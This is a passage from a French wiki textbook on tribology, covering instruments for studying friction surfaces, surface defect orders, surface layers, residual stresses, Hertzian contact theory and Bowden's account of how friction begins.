seulement. Il semble bien que les défauts des réseaux cristallins jouent un rôle primordial dans les mécanismes de la dissipation énergétique. Cette dernière serait provoquée par la formation de dislocations lors de l'écrouissage du matériau, ou par la nouvelle répartition de dislocations existantes. Il faut aussi prendre en compte la composition physico-chimique de la surface, qui subit des modifications incessantes lorsqu'elle est soumise au frottement. L'étude du frottement des métaux parfaitement propres est rendue à peu près impossible par les transferts de matière d'une pièce sur l'autre, or justement c'est la couche transférée qui conditionne entièrement les mécanismes du frottement sec... Lors du frottement des matériaux composites, les transferts de matière prennent le pas sur toute autre considération. Les recherches de Buckley à la NASA l'ont conduit à écrire : les jonctions à l'interface, l'adhésion et le transfert à travers l'interface, sont extrêmement importants pour la compréhension de l'usure. Ces processus se placent fréquemment au niveau atomique, et il est par suite nécessaire d'examiner à ce niveau les surfaces en contact. L'auteur décrit ensuite quelques appareils et procédés d'étude indispensables : * microscope ionique à effet de champ : avec une résolution de 0,25 nm, il permet de voir les atomes, et le cas échéant, couplé avec un spectrographe de masse à temps de vol, de les identifier. * la diffraction des électrons lents révèle les couches monomoléculaires à la surface des cristaux et, en association avec la spectrométrie Auger, permet d'en connaître les constituants. C'est l'outil privilégié pour étudier l'adsorption, rétention de molécules à la surface des solides et phénomène de base de la lubrification limite des métaux. * la spectroscopie d'électrons pour l'analyse chimique analyse les électrons émis par un échantillon frappé par un faisceau monochromatique de rayons X. On peut ainsi mettre en évidence l'action des additifs extrême-pression et, en association avec un spectromètre Auger, déterminer les liaisons chimiques et donc la composition de la surface. * le canon à ions permet le nettoyage des surfaces par enlèvement des couches superficielles et, par suite, l'analyse du matériau par niveaux successifs à partir de la surface. * le [[w:microscope électronique à balayage|microscope électronique à balayage]] est l'un des outils les plus utiles pour le tribologue. Par mise en valeur du relief des surfaces il est possible d'étudier point par point les traces de frottement sec. * la [[w:microsonde de Castaing|microsonde de Castaing]] analyse les rayons X émis par un échantillon frappé par un faisceau d'électrons, avec une surface d'impact de l'ordre de 1 micromètre carré. Elle fournit une analyse quantitative exacte des éléments présents. On peut ainsi déceler la répartition d'éléments actifs provenant des lubrifiants ou d'éléments transférés à partir de la pièce antagoniste. En 1968, le Professeur Robert Courtel fait remarquer, après avoir donné une rapide liste des laboratoires français disposant de l'un ou l'autre de ces matériels, que « ''ces appareils sont en général coûteux et encombrants : chaque nouveau modèle tombe très vite en désuétude ; les utilisateurs potentiels n'en sont pas nécessairement les possesseurs. '''Il y a donc une politique à définir en haut lieu, pour que les tribologues soient admis aux bénéfices de ces belles recherches''' ''». === Le [[w:microscope à force atomique|microscope à force atomique]] === Cet appareil a fait récemment son apparition dans les laboratoires de tribologie. On parlera de MFA dans les textes français ou de AFM (atomic force microscope) dans les textes anglais. Les renseignements fournis par cet appareil sont ceux que l'on aurait en balayant la surface avec un stylet dont la pointe serait à l'échelle du nanomètre. Ses applications sont diverses : * Visualisation tridimensionnelle directe de traces ou de rayures de frottement. Les effets du frottement à l'échelle nanométrique ou atomique deviennent de plus en plus importants pour la construction des machines, au fur et à mesure que celles-ci deviennent de plus en plus petites et de plus en plus précises. Les microscopes traditionnels, optiques ou électroniques à balayage fournissent essentiellement des informations à deux dimensions mais les images des MFA permettent d'accéder beaucoup plus facilement aux configurations tridimensionnelles. * Mesure de l'épaisseur de couches lubrifiantes liquides ou solides très fines, à l'échelle du nanomètre et jusqu'aux films monoatomiques ou monomoléculaires. On sait que les propriétés de ces couches, particulièrement lorsque leur épaisseur est inférieure à 100 nm, ont une influence prépondérante sur le comportement tribologique des surfaces. Les méthodes de mesure optique sont inopérantes sur des couches aussi minces. * Mesure des forces de frottement à l'échelle nanométrique. Ces forces dépendent des interactions chimiques et mécaniques entre les surfaces et elles sont accessibles au MFA. Le capteur peut non seulement apprécier les variations des forces latérales en fonction de la composition chimique de la zone où il se trouve (par exemple sur un matériau composite) mais aussi établir la relation entre les forces mises en jeu et la topographie. * Caractérisation des états de surface selon des critères de morphologie, de texture et de rugosité. le MFA permet d'accéder aux structures fines de surfaces perçues comme lisses et polies par les microscopes optiques et les microscopes électroniques à balayage. Ces structures peuvent être mises en perspective et visualisées aisément. * Détermination des caractéristiques mécaniques de matériaux. La dureté, la rigidité, la compressibilité, l'aptitude à la déformation plastique sont mesurables à l'échelle du nanomètre. La visualisation de micro-indentations et facile, et l'on peut aussi étudier les faciès de rupture. Le microscope à force atomique peut être utilisé à l'air libre pour étudier des matériaux très variés tels que les métaux, les céramiques, les polymères ou les biomatériaux. On peut aussi faire des mesures dans le vide ou dans les liquides. === Le frottement à distance === Des phénomènes de frottement se produisent entre des objets qui ne sont pas en contact mais dont les distances sont de l'ordre du nanomètre. Ce phénomène est peu connu et difficile à interpréter. Des chercheurs de l'Université Cornell, aux États-Unis en ont entrepris l'étude. Diverses interprétations ont cours actuellement. Il semble selon certains avis qu'un processus d'accrochage se produise entre les atomes des « bosses » d'une des surfaces et ceux des « vallées » de l'autre, un peu à la manière d'un « Velcro » miniature. On sait de façon certaine que ce phénomène dépend étroitement de la composition chimique des surfaces et donc des faibles champs électriques engendrés par le mouvement des molécules des échantillons étudiés. Tribologie - Nature et comportement des surfaces frottantes 982 23638 2005-10-17T19:43:23Z Jean-Jacques MILAN 114 /* phénomènes thermiques */ correction de détails [[Catégorie:Tribologie]] {{Tribologie}} Le frottement et l'usure mettent en jeu les surfaces de contact ou plus précisément les interfaces, où se produisent des transformations multiples et irréversibles qu'il faut considérer de plusieurs points de vue : * état géométrique et microgéométrique, * état de propreté, * état physicochimique, structure des couches superficielles, * état « historique ». '''''« Dieu a inventé les volumes, mais c'est le diable qui a inventé les surfaces »''''', déclara un jour [[w:Wolfgang Pauli|Wolfgang Pauli]], confronté à l'extrême complexité du problème ... mais ce n'est pas une raison suffisante pour se décourager ! == Aspects géométriques == Frank P. Bowden et David Tabor ont ainsi présenté les choses : « ''Les surfaces, même les plus polies, sont grossières à l'échelle atomique et en les plaçant en regard c'est comme si vous retourniez la Suisse et la disposiez au-dessus de l'Autriche'' ». Les surfaces usinées ne sont jamais parfaites, elles présentent au contraire des défauts de toutes sortes dus aux procédés d'usinage, aux outils, à la matière, etc. On sait depuis longtemps que ces défauts influent profondément sur le fonctionnement et la tenue en service des mécanismes et la bonne exécution de leurs fonctions : guidages, étanchéité, ... Quelle que soit la qualité de la fabrication, il existe toujours une échelle suffisamment petite pour qu'ils soient mesurables et la nécessité de les décrire ne date pas d'hier. Dans « La technique moderne » du 15 juin 1939, l'Ingénieur Génaral Nicolau écrivait : ''Esclaves de disciplines mathématiques dont toute la savante complexité ne pouvait suffire à rendre compte des imperfections humaines et des caprices de la nature, les ingénieurs ont longtemps méconnu que la valeur pratique des éléments de construction dépend beaucoup plus de leurs caractéristiques '''locales''' que des propriétés '''moyennes''' de la matière.'' ''Ils savent aujourd'hui l'influence prédominante des aberrations et des hétérogénéités de tout ordre, nécessaires ou fortuites, sur la tenue en service de ces éléments ; aussi, depuis quelques années, leur attention s'est-elle tout naturellement portée sur les anomalies superficielles des pièces mécaniques, dont le rôle, évidemment essentiel dans tous les phénomènes de contact (frottement, usure, corrosion, graissage, écoulement des fluides, etc.), s'est par surcroît révélé particulièrement important sous l'effet des sollicitations vives ou périodiques. Une science des états de surface s'est ainsi créée.'' Plus la qualité d'une surface est proche de la perfection, plus elle est difficile à obtenir et plus son coût est élevé. Des surfaces inutilement précises causent des pertes économiques qui peuvent être considérables. ''« Enough is perfect »'', dit-on outre-Atlantique ! La description de la finesse d'usinage par un, deux ou trois petits triangles, utilisée pendant des décennies, est depuis longtemps devenue très insuffisante. La vue et le toucher donnent des évaluations subjectives intéressantes mais généralement inadaptées aux nécessités techniques ; de plus, elles sont une source de contestations dans les relations commerciales. === Définitions === La normalisation précise les termes à utiliser : * '''Surface d'un corps''' : elle est constituée par l'ensemble des points qui délimitent la portion de l'espace où se trouve la matière de ce corps. * '''Surface géométrique''' : c'est la surface parfaite, idéale. Sur le dessin, elle est définie géométriquement par le bureau d'études, à l'aide de cotes nominales. * '''Surface spécifiée''' : elle résulte de la surface géométrique, transformée par le bureau des études qui prescrit les limites de réalisation de cette surface à l'aide de symboles et de valeurs numériques en complément des cotes nominales du dessin. * '''Surface réelle''' : c'est celle qui est obtenue au cours de la fabrication. * '''Surface mesurée''' : elle résulte de l'exploration de la surface réelle par des instruments de mesure. Le degré d'approximation de la surface mesurée par rapport à la surface réelle dépend de la technique de mesure appliquée, de la précision de l'instrument de mesure utilisé et de la nature même de la surface réelle. === Les ordres de défauts === {| align=right style="margin: 1em 1em 1em 1em; border: 1px solid darkgray" |[[Image:Diametres_palpeurs.png|none|200px]] |- align=center | <small>'''Profils mesurés'''</small> |} On appelle '''profil''' l'intersection de la surface réelle avec un plan perpendiculaire à la surface géométrique qui lui correspond. Un palpeur sphérique explorant une surface vient successivement en contact avec les sommets des aspérités et « saute de crête en crête ». Pour mettre en évidence des défauts de plus en plus petits, il faut diminuer le rayon de ce palpeur, ainsi, l'enveloppe de ses positions successives (ici en trait fort) et la trajectoire du centre du palpeur se rapprochent-elles du profil de la surface réelle. Il est clair que le tracé du profil exact, c'est-à-dire la détermination de l'écart entre la surface réelle et la surface géométrique nécessiterait un palpeur de rayon nul, ce qui est évidemment impossible. En pratique, le résultat de la comparaison de la surface réelle et de la surface géométrique dépend de l'appareillage utilisé. Encore y aurait-il quelques commentaires à faire sur les déformations des aspérités sous l'effet de la pression du palpeur... En pratique, on distingue plusieurs ordres de défauts : {| align=right style="margin: 1em 1em 1em 1em; border: 1px solid darkgray" |[[Image:Enveloppe.png|none|200px]] |- align=center | <small>'''Ondulation et rugosité de 3e ordre'''</small> |} * '''1er ordre : écarts de forme et de position''' : les défauts de planéité, cylindricité, parallélisme, perpendicularité se constatent avec un comparateur dont la touche de rayon R décrit une surface enveloppe appelée parfois surface apparente. On obtient l'écart du premier ordre par référence à la surface géométrique. * '''2e ordre : ondulation''' : l'écart des positions de deux palpeurs coaxiaux, dont l'un est le palpeur de rayon R précédemment utilisé pour déterminer le défaut de forme et l'autre une sphère de très petit rayon r, possède généralement une longueur d'onde moyenne ou pas moyen A<sub>W</sub>, dont l'ordre de grandeur est un petit nombre de mm. L'ondulation est une oscillation de basse fréquence provenant essentiellement des imperfections des machines-outils. * '''3e et 4e ordre : rugosité''' : ces microondulations, dues à des vibrations de haute fréquence, accompagnent le passage des outils coupants et l'enlèvement de la matière. Le 3e ordre correspond à des stries ou sillons, défauts périodiques ou pseudopériodiques de pas A<sub>R</sub> voisin de 0,1 mm, le 4e ordre provient des arrachements qui, eux, sont apériodiques. {| align=right style="margin: 1em 1em 1em 1em; border: 1px solid darkgray" |[[Image:Profil_total.png|none|200px]] |- align=center | <small>'''Profil total'''</small> |} * '''5e et 6e ordre''' : ils correspondent respectivement aux structures cristalline et moléculaire. * le '''profil total''' est la somme des écarts du premier au quatrième ordre. Ce découpage est parfaitement arbitraire : il y a autant de défauts de forme et donc de rugosités, que de manières de choisir le rayon R qui engendre la surface apparente. Comme l'a fait remarquer l'Ingénieur Général Nicolau : « une surface n'est pas rugueuse en soi, mais par rapport à une surface déterminée qui la touche. C'est ainsi, par exemple, que l'on pourrait imaginer une surface qui apparaîtrait très rugueuse au toucher de l'homme et qui serait parfaitement lisse pour le ciron qui la parcourrait. À monter et descendre les côtes sur un sol qui, à l'échelle de ses pattes, prendrait le caractère d'une patinoire, cet animalcule n'aurait que la sensation d'erreur superficielle de forme ». === Enregistrement des états de surfaces === {| align=right style="margin: 0em 1em 0em 1em; border: 1px solid darkgray" |[[Image:Anamorphose d'etat de surface.png|none|200px]] |- align=center | <small>'''Anamorphose'''</small> |} Il faut se méfier des enregistrements qui donnent une image spectaculaire mais exagérée de l'état des surfaces des pièces. En fait la pente moyenne résultant des usinages courants n'est guère que de 20 à 25 %, et les surfaces ressemblent sans doute plus aux monts très émoussés du Morvan qu'aux Aiguilles de Chamonix. Les déplacements des palpeurs, davantage amplifiés perpendiculairement à la surface, provoquent un effet d'anamorphose. La distribution des hauteurs d'aspérités n'est en général ni isotrope ni gaussienne, sauf pour certains procédés tels que le sablage ou électroérosion. {| align=right style="margin: 0em 1em 1em 1em; border: 1px solid darkgray" |[[Image:Marteau Cayere_02.png|none|200px|]] |- align=center | <small>'''marteau Cayère - surface bombée'''</small> |} Une très intéressante méthode d'enregistrement des états de surface est due à l'abbé Cayère, qui fut voici quelques décennies un éminent professeur de technologie. Un « marteau » spécial donne des répliques d'états de surface par écrasement d'un métal mou, aluminium recuit ou autre. Pour une surface plane, on utilise un marteau bombé, inversement, pour une pièce bombée, on utilise un marteau plan. On lâche ce marteau depuis des hauteurs croissantes, jusqu'à ce que le métal remplisse complètement les « vallées » qui séparent les aspérités. {| align=right style="margin: 0em 1em 0em 1em; border: 1px solid darkgray" |[[Image:Marteau Cayere_03.png|none|200px|]] |- align=center | <small>'''marteau Cayère - surface plane'''</small> |} Cela donne une réplique en creux, dite « empreinte Cayère », qui peut servir pour mesurer les hauteurs d'aspérités, puisque <math>x=\frac{L^2}{2 R}</math>. Par ailleurs, les bords de l'empreinte reproduisent le profil sous un aspect anamorphosé, avec un grandissement <math>g=\frac{L}{x}</math>. {| align=right style="margin: 0em 1em 0em 1em; border: 1px solid darkgray" |[[Image:Marteau Cayere_01.png|none|200px|]] |- align=center | <small>'''marteau Cayère'''</small> |} L'intérêt majeur des empreintes Cayère est de visualiser l'évolution des surfaces, par exemple lors d'un essai d'usure. Divers appareils restituent l'enregistrement tridimensionnel des états de surface sous forme de graphiques tridimensionnels === Les couches superficielles === Le frottement est un phénomène à trois dimensions qui concerne une certaine épaisseur de matériau sous la surface. À partir de cette dernière, on doit distinguer plusieurs couches successives qui existent sur l'immense majorité des pièces. ==== couche adsorbée ==== Il ne faut pas confondre '''[[w:adsorption|adsorption]]''', fixation sur les surfaces de molécules provenant des gaz et des liquides ambiants, et absorption. Ces molécules sont retenues par les [[w:force de Van der Waals|forces de Van Der Waals]] (celles qui permettent la cohésion des solides) ou plus énergiquement encore par des forces de type chimique si les atomes de la surface possèdent des valences non saturées. On parle alors de chimisorption. L'adsorption résulte d'un équilibre entre une évaporation et une condensation. '''Dans l'atmosphère, toute pièce est instantanément recouverte d'une couche adsorbée''' formée surtout d'oxygène, avec d'autres gaz comme la vapeur d'eau, le dioxyde de carbone, etc. Aucun nettoyage mécanique ou chimique ne peut les éliminer totalement des surfaces métalliques, à moins que l'on ne procède sous vide et à chaud (1 000°C ou plus). La lubrification n'est rien d'autre qu'une « pollution organisée » par adsorption d'hydrocarbures ou mieux par chimisorption d'acides gras ou de produits soufrés, chlorés, phosphorés ... L'énergie de surface élevée des métaux facilite l'adsorption des lubrifiants sauf, on ne sait pourquoi, dans le cas du titane, du zirconium et de l'hafnium. Les longues molécules d'acides gras, orientées perpendiculairement à la surface « comme des sangsues fichées sur la couche cristalline sous-jacente » (Trillat), sont à peu près inexpugnables. Les couches adsorbées, épaisses de 0,2 à 8 nm, liées '''rigidement''' aux solides, sont plus solides sur les reliefs. Il existe d'ailleurs une rugosité optimale pour leur accrochage. Leur forme est déterminée par les structures cristallines sous-jacentes. On peut dire qu'elles jouent un rôle essentiel dans les processus de frottement. Deux corps frottant dans le vide sans préparation spéciale voient leur coefficient de frottement multiplié par un facteur 2 à 4. Après dégazage sous vide, il peut atteindre 100. {| style="border:1px solid red" cellpadding="3" cellspacing="4" align="center" |- |'''Pratiquement aucune de nos machines ne fonctionnerait, si l'adsorption n'existait pas !''' |} ==== postcouche ==== Quand elle existe, c'est sous l'action de la couche adsorbée. Elle a été assez peu étudiée. Constituée surtout d'oxydes et, après frottement, de métaux de la pièce antagoniste, elle peut atteindre 80 nm. D'autres composants, difficiles à identifier, sont des sulfures ou des nitrures souvent plus fusibles que l'oxyde : par exemple NiS 600°C, CuS 220°C, FeS 1200°C, etc. Sur certains métaux comme l'argent, dont la surface ternie est très facile à repolir, la postcouche a une très faible adhérence. Les '''couches d'oxydes''', dont on connaît mal les processus de formation, se comportent en frottement comme la neige tôlée pour les skieurs. Elles sont renforcées par un substrat dur et affaiblies par des aspérités hautes et aiguës. Leur présence est parfois souhaitable si elles résistent à l'arrachement mais elle est toujours indésirable si elles deviennent pulvérulentes et abrasives. Les anciens artisans horlogers connaissaient intuitivement le rôle des oxydes lorsqu'ils brunissaient les pivots. L'aluminium, très oxydable, se couvre d'une peau d'alumine étanche aux gaz et résistante. Une bille d'acier frottant sur de l'aluminium commence par glisser sur la couche d'alumine, qui résiste malgré une déformation importante en sous-couche. Si la couche d'oxyde se rompt, alors le grippage survient immédiatement, la trace de frottement voit sa profondeur augmenter et un important bourrelet frontal la précède. Les aciers alliés au chrome, très utilisés en frottement, voient de même leur surface s'enrichir en oxyde de chrome. ==== couche amorphe de Beilby ==== La structure cristalline du métal est détruite sur une épaisseur de 0,1 à 5 μm, qui dépend du mode d'élaboration de la pièce. On y trouve des atomes ou molécules du matériau et de l'environnement, des oxydes, nitrures ... Pour les alliages, la composition devient hétérogène, complexe et mouvante en fonction de la ségrégation des éléments, laquelle est provoquée ou non par le frottement. Engendrée surtout lors d'opérations comme la rectification ou le polissage, la couche de Beilby répartit les charges et consolide les films d'oxydes mais on préconise parfois de l'ôter par superfinition. ==== couche écrouie ==== Sous la surface des matériaux cristallins, qui sont les plus fréquents (ils comprennent tous les métaux et leurs alliages), on trouve généralement une couche plus ou moins perturbée par la fabrication sur une épaisseur de 0,02 à 0,05 mm et contenant encore des inclusions venant de l'extérieur. {| style="border:1px solid red" cellpadding="3" cellspacing="4" align="center" |- |'''La surface est toujours, et de loin, l'endroit le plus abîmé d'une pièce.''' |} On parle de transformation « liée » quand la surface usinée vient en appui sur un outil et de transformation « libre » dans le cas contraire : électroérosion ou polissage électrolytique, par exemple. La première ne donne ni couche amorphe, ni couche écrouie. La transformation des surfaces destinées au frottement comporte presque toujours une phase d'ébauche par un outil coupant, suivie d'une finition par abrasion : rectification, polissage, sablage, etc. Un tiers environ de l'énergie de coupe se perd dans les pièces. Le champ de forces au passage de l'outil provoque deux sortes de déformations non élastiques : d'une part les microcristaux glissent les uns par rapport aux autres au niveau des joints de grains, d'autre part des glissements se produisent dans les microcristaux eux-mêmes par cisaillement. L'écrouissage extrême rejoint l'état amorphe. Les couches écrouies gardent à jamais le souvenir de leur usinage. La capacité de déformation des couches superficielles varie énormément selon leur structure. Dans les grains des métaux, les dislocations se propagent selon les plans de plus forte densité atomique et dans la direction de la plus forte densité linéique. Ces déplacements se produisent en surmontant les obstacles que constituent les défauts des réseaux cristallins. Ils sont facilités par les températures élevées. Lorsque le glissement plastique surmonte un point de blocage particulièrement stable, il a émission d'un bruit dont le spectre peut aller des ultrasons aux fréquences audibles (on perçoit facilement un tel bruit en pliant une plaque de zinc, les spécialistes parlent d'ailleurs du « cri du zinc »). Les matériaux qui possèdent un grand nombre de directions de plans dont les densités atomiques sont voisines s'écrouissent facilement. C'est malheureusement le cas du fer. Au contraire, s'il y a un seul plan de glissement, la lésion est difficile, comme pour le soufre. L'écrouissage est réduit par lubrification. Il varie beaucoup, et de manière complexe, avec les conditions de coupe : par exemple, la profondeur de passe influe davantage avec les aciers rapides qu'avec les carbures et les céramiques. ==== couches profondes accessibles aux efforts de frottement ==== Le métal sous la couche écrouie est une construction cristalline imparfaite, un arrangement de grains conditionné par l'élaboration, la composition chimique, l'histoire thermique et mécanique de la pièce. Les structures obtenues par moulage, laminage, forgeage, dépôt de matière, ... sont très différentes. Les zones non défigurées par l'usinage n'en sont pas moins accessibles aux efforts de frottement, aux effets thermiques, à la fatigue, etc. et elles présentent de nombreux défauts : * inclusions, particulièrement dangereuses lorsqu'elles sont alignées en files. Elles peuvent favoriser l'usinage (sulfures) mais se révèlent désastreuses pour le frottement. '''C'est une erreur de croire qu'un métal facile à usiner frottera bien'''. Dans les métaux ferreux, on trouve essentiellement des sulfures, des oxydes enfermés lors du forgeage et des silicates. Les inclusions peuvent modifier localement le module d'Young et créer un véritable effet d'entaille. * trous et porosités, qui engendrent des concentrations de contraintes et stockent diverses matières peu recommandables (grains d'abrasifs ou copeaux, par exemple) qui seront remises ultérieurement en circulation dans le mécanisme. * solubilisation d'hydrogène générateur de fragilité, particulièrement dans le fer, le cuivre, l'aluminium, l'étain, l'argent. D'autres gaz dissous dans les métaux liquides forment des bulles lors du refroidissement. * dendrites de ségrégation : on rencontre souvent des alignements de certains constituants dans la structure du métal. La distribution des éléments chimiques, homogène à grande échelle, ne l'est plus au niveau des grains élémentaires. La surface peut être enrichie en composés à haut point de fusion (ségrégation positive) ou inversement. Dans les aciers, le phosphore et le soufre ont une forte tendance à créer des ségrégations. Ces défauts favorisent la corrosion et créent des zones de cheminement des fractures. * contraintes rémanentes, ou résiduelles, provoquées par le refroidissement brutal, l'usinage ou la juxtaposition d'états allotropiques différents : la transformation d'austénite en martensite, par exemple, s'accompagne de changements de volume. En règle générale les contraintes rémanentes de compression jouent un rôle favorable pour le frottement et c'est l'inverse pour les contraintes de traction. Voici à titre d'exemples, quelques ordres de grandeurs de contraintes résiduelles exprimées en MPa. Les compressions sont comptées négativement. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="4" align="center" |- |+ '''Contrainte rémanente''' |- align=center bgcolor=#DDDDDD | Procédé || Contrainte <small>en Mpa</small> |- align=left | Grenaillage || align=right | - 600 |- align=left | Galetage || align=right | - 1200 |- align=left | Cémentation + trempe || align=right | - 900 |- align=left | Nitruration || align=right | - 800 |- align=left | Trempe superficielle || align=right | - 900 |- align=left | Dépôt de chrome dur || align=right | 350 |- align=left | Rectification mal refroidie || align=right | 1000 |- |} * défauts de traitement thermique. La décarburation diminue de façon catastrophique la limite d'endurance. Les tapures de trempe allant souvent de pair avec la présence d'impuretés offrent un cheminement préférentiel à la corrosion. La surchauffe qui accroît la taille des grains sensibilise le métal à l'effet d'entaille et rend dangereuses les stries d'usinage. La formation d'un excès de cémentite engendre une fragilisation sensible lors des contacts brutaux d'aspérités. * etc. === Structure granulaire des surfaces === L'existence de structures polycristallines sous-entend la présence de discontinuités entre les grains élémentaires formant les pièces et plus particulièrement leur surface. Les atomes des joints des grains n'appartiennent pas aux plans réticulaires de ces derniers mais à une structure perturbée avec des zones renfermant un excès d'énergie potentielle appelée énergie interfaciale (Crussard), ce qui produit des effets très spécifiques. Par exemple, les joints sont plus rigides à froid que les cristaux voisins mais à chaud c'est le contraire. En raison des défauts superficiels, les grains de la surface sont moins solides que les autres : ainsi, la résistance maximale du verre qui devrait en théorie atteindre 11000 MPa, dépasse à peine 20 en pratique. En réduisant les défauts, Griffith a réussi à obtenir 630 MPa en laboratoire. Dans ces conditions il est clair que les notions de dureté, de limite d'élasticité, de résistance à la rupture, ... sont sans intérêt sur des ensembles de grains trop restreints pour que l'on puisse appliquer la loi des grands nombres. Le frottement déplace les grains les uns par rapport aux autres, surtout si les joints contiennent du plomb ou de l'oxyde de plomb. Les glissements dans les grains et la rotation de ces derniers qui use leurs interfaces peut aboutir à des fractures dans les zones de fort cisaillement et à une décohésion, par exemple par frottement sous forte charge. La présence d'oxydes entre les grains est prouvée jusqu'à plusieurs dixièmes de mm de profondeur, surtout dans les frottements secs à grande vitesse. Les plans de glissement dans les microcristaux, comme les joints des grains, constituent des voies de pénétration pour les éléments apportés lors des traitements de surface, ainsi que l'on peut le constater dans les couches sulfinuzées où l'on distingue parfaitement des lignes de sulfure de fer. Ces dernières favoriseront plus tard des déformations utiles à l'accommodement des surfaces lors du rodage. == Pressions de contact == === Position du problème === Les surfaces fonctionnelles utilisées en frottement sont presque uniquement des plans, des cylindres et des sphères. Si les contacts théoriquement ponctuels comme celui d'une bille et d'un plan, ou théoriquement linéiques comme celui d'un cylindre monté dans un autre avec du jeu (palier cylindrique), l'étaient vraiment, ils subiraient en charge des pressions infinies, ce qui est impossible. En fait, les charges sont supportées par des aires de contact très petites, dont l'étendue dépend de la géométrie locale et de l'élasticité des matériaux. À leur niveau, les pièces subissent des contraintes dues à l'effort normal et d'autres, qui se superposent aux premières, dues aux efforts tangentiels. Lors des contacts surfaciques, plan contre plan par exemple, les zones réelles d'appui sont très restreintes. Il y en a au moins trois non alignées et l'expérience montre que leur comportement est très proche de celui d'un contact bille sur plan. === Théorie de Boussinesq et Hertz === Sans entrer dans le détail de ce qui demande en soi un chapitre entier, il faut mentionner ici quelques éléments sur la répartition des contraintes dans les zones de contact. Les travaux, classiques, de Boussinesq et Hertz reposent sur plusieurs hypothèses : - les corps en contact sont « semi-infinis », - ils sont parfaitement élastiques, homogènes et isotropes, - ils sont limitées par des surfaces du second degré (quadriques) au voisinage de la zone de contact, - cette dernière est un élément plan très petit chargé perpendiculairement par les forces de contact. Ainsi, se trouvent négligés des facteurs tels que l'hétérogénéité des matériaux réels, la rugosité des surfaces et surtout les forces tangentielles dues au frottement. Les principaux résultats mis en évidence par Boussinesq, puis par Hertz, sont les suivants : * la surface de contact est une ellipse qui peut prendre toutes les proportions possibles entre un cercle et une bande. * la pression de contact sur cette ellipse peut être représentée par un demi-ellipsoïde. Sa valeur maximale, p<sub>m</sub>, est évidemment atteinte au centre O de l'appui ; elle diminue graduellement jusqu'à s'annuler au bord. Au centre, les deux autres contraintes principales sont des compressions, de sorte que la pression maximale peut dépasser très largement la limite d'élasticité des matériaux (éventuellement près de deux fois) sans pour autant que l'on ait de déformation plastique en ce point. Ce résultat apparemment paradoxal sera justifié plus tard. * aux extrémités A et B des axes de l'ellipse, les contraintes radiales sont des tractions et les contraintes circonférencielles des compressions de même valeur absolue. Il en résulte que l'état de contrainte est un cisaillement simple d'ailleurs maximal lorsque l'ellipse devient un cercle et nul lorsqu'elle devient une bande. La traction à la périphérie de l'appui est dangereuse avec des matériaux fragiles. * dans les pièces, à l'aplomb du centre de l'ellipse d'appui et en partant de ce point, la contrainte de cisaillement augmente d'abord et devient maximale en un point C situé à une certaine distance de la surface, après quoi elle diminue. Pour un contact circulaire de rayon a, la profondeur du point C est telle que OC = 0,47 a. Dans la plupart des applications de frottement la contrainte de cisaillement en profondeur τ<sub>m</sub> est la plus dangereuse et vaut environ 0,3 p<sub>m</sub>. On parle de contact hertzien, de pression de Hertz, etc. Lorsque l'on fait intervenir le frottement, le problème devient très compliqué et, d'ailleurs, contraire aux hypothèses de Hertz. Les modifications essentielles qui en résultent sont développées dans le chapitre spécial et se résument pour l'essentiel aux points suivants : * à l'arrière d'un frotteur glissant ou tendant à glisser, des contraintes de traction sont créées ou augmentées. * vers l'avant du frotteur règnent des compressions supérieures à la pression maximale de Hertz. Les contraintes de traction y sont diminuées ou remplacées par des compressions. * le point de cisaillement maximal remonte vers la surface, du côté de l'avant du frotteur. Naturellement, chacune de ces sortes de contraintes donne des formes de dégradation particulières : déchirures de surtension à l'arrière ou autour des frotteurs, écoulements et fluages à l'avant, fatigue ou effondrement des couches profondes sous l'effet du cisaillement maximal appliqué de manière cyclique ou non. Tout ceci est analysé dans le chapitre consacré à l'usure. == Les idées de Bowden sur le frottement == Pour l'essentiel, les idées claires dont nous disposons sur ce sujet sont dues à Bowden. === Début du frottement === Les surfaces réelles n'ont pas grand-chose à voir avec les traits du dessinateur. Les charges sont appliquées en un très petit nombre de points où agissent des pressions considérables. Des contraintes mécaniques localement énormes entraînent des déformations élastiques et plastiques répartissant les charges. Dans les premiers instants du fonctionnement ces efforts exagérés entraînent une augmentation des aires d'appui, il y a une période d'adaptation des surfaces appelée accommodement. Il est important au cours de cette phase que les déformations soient maîtrisées et même provoquées de manière judicieuse. === Coup de râpe initial === L'expression est due à Marcelin : les rares aspérités sur lesquelles portent les pièces s'accrochent, sont arasées par les premiers mouvements relatifs, décapitées, déchiquetées, déformées plastiquement jusqu'à répartition correcte de la charge. C'est la période la plus difficile du rodage, qui est la première usure d'un mécanisme, par les chocs des aspérités, l'émission de débris abondants et l'échauffement. Les aspérités moins hautes que les autres sont moins sollicitées, ne dépassent pas la limite d'élasticité et reprennent leur forme. Des zones de variétés allotropiques différentes, qui n'ont pas la même limite d'élasticité, sont diversement déformées. Les surfaces ne deviennent conformes aux hypothèses de Hertz qu'après le coup de râpe initial, d'après Marcelin. === Premières transformations === Le point de fusion de l'un au moins des métaux est atteint de manière localisée et fugitive, ce qui provoque tout un ensemble de phénomènes physiques et chimiques : fusion, diffusion, trempe, formation de solutions solides et de composés ioniques, oxydations, transformations allotropiques, soudures, arrachements, concassage des cristaux superficiels ... L'échauffement microlocalisé aux aspérités en contact à un instant donné est prouvé par effet thermoélectrique. L'expression '''température-éclair''' décrit bien les successions d'échauffement et de refroidissements à des taux de 10<sup>7</sup>°C/s. Ce phénomène est à la base du polissage, égalisation des surfaces par fusion ou ramollissement des crêtes qui comblent le fond des sillons. Le polissage est d'autant plus facile que l'on utilise des produits moins fusibles, et non plus durs. Le camphre, produit extrêmement mou qui fond à 178°C, polit des métaux relativement durs comme les alliages de Wood fusibles entre 35 et 120°C mais pas l'étain, plus mou, qui ne fond qu'à 232°C. La condition nécessaire (mais pas suffisante) pour qu'un corps A puisse polir un corps B n'est pas, comme on le croit généralement, que A soit plus dur que B, mais bien que A soit moins fusible que B. Les échauffements microlocalisés peuvent transformer les structures. Par exemple, la martensite peut donner de l'austénite lors du meulage d'un acier rapide et inversement, un frottement sévère peut entraîner la transformation d'austénite résiduelle en martensite sur de l'acier inoxydable au molybdène 18.12 Mo. === Déformations des couches superficielles === Le contact réel, ne pouvant pas être ponctuel, entraîne des déformations hertziennes des zones profondes, d'où deux genres d'accidents plastiques : arasement en surface des pics ou arêtes et fatigue et écrouissage des couches profondes sous l'effet des glissements à l'intérieur des grains et de la rotation de ces derniers. Ces phénomènes sont favorisés lorsque des possibilités de transformation structurale existent, par exemple austénite-martensite, qui s'accompagne de changements de volume. Il y a par ailleurs labourage des surfaces, formation de rainures et de 